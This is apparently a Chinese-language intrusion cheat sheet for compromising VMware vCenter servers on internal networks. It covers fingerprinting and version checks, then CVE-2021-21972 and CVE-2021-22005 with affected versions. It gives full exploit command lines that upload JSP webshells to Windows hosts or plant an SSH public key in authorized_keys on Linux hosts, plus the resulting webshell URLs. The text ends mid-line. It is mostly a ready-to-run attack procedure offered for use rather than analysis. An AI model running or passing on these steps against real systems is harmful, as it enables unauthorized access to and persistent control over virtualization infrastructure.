目录
在内网渗透中常常会碰到VmwareVcenter,对实战打法以及碰到的坑点做了一些总结,部分内容参考了师傅们提供的宝贵经验,衷心感谢各位师傅
0x01 指纹特征
title="+ ID_VC_Welcome +"
0x02 查看Vcenter版本
/sdk/vimServiceVersions.xml
0x03 CVE-2021-21972
影响范围
- vCenter Server7.0 < 7.0.U1c
- vCenter Server6.7 < 6.7.U3l
- vCenter Server6.5 < 6.5.U3n
/ui/vropspluginui/rest/services/uploadova
访问上面的路径,如果404,则代表不存在漏洞,如果405 则可能存在漏洞
windows机器:
漏洞利用: GitHub - horizon3ai/CVE-2021-21972: Proof of Concept Exploit for vCenter CVE-2021-21972
python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp
-t (目标地址)
-f (上传的文件)
-p (上传后的webshell路径,默认不用改)
上传后的路径为
https://x.x.x.x/statsreport/gsl.jsp
完整路径为
C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport
Linux机器:
1、写公私钥(需要22端口开放)
python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub
2、遍历写shell(时间较久)
GitHub - NS-Sp4ce/CVE-2021-21972: CVE-2021-21972 Exploit
0x04 CVE-2021-22005
影响范围
- vCenter Server 7.0 < 7.0 U2c build-18356314
- vCenter Server 6.7 < 6.7 U3o build-18485166
- Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
- Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
- 6.7 vCenters Windows版本不受影响
漏洞利用
https://github.com/r0ckysec/CVE-2021-22005
cve-2021-22005_exp_win.exe -u https://x.x.x.x --shell
https://github.com/rwincey/CVE-2021-22005/blob/main/CVE-2021-22005.py
python cve-2021-22005.py -t https://x.x.x.x
连接webshell
https://x.x.x.x/idm/..;/test.jsp
上传后的webshell完整路径为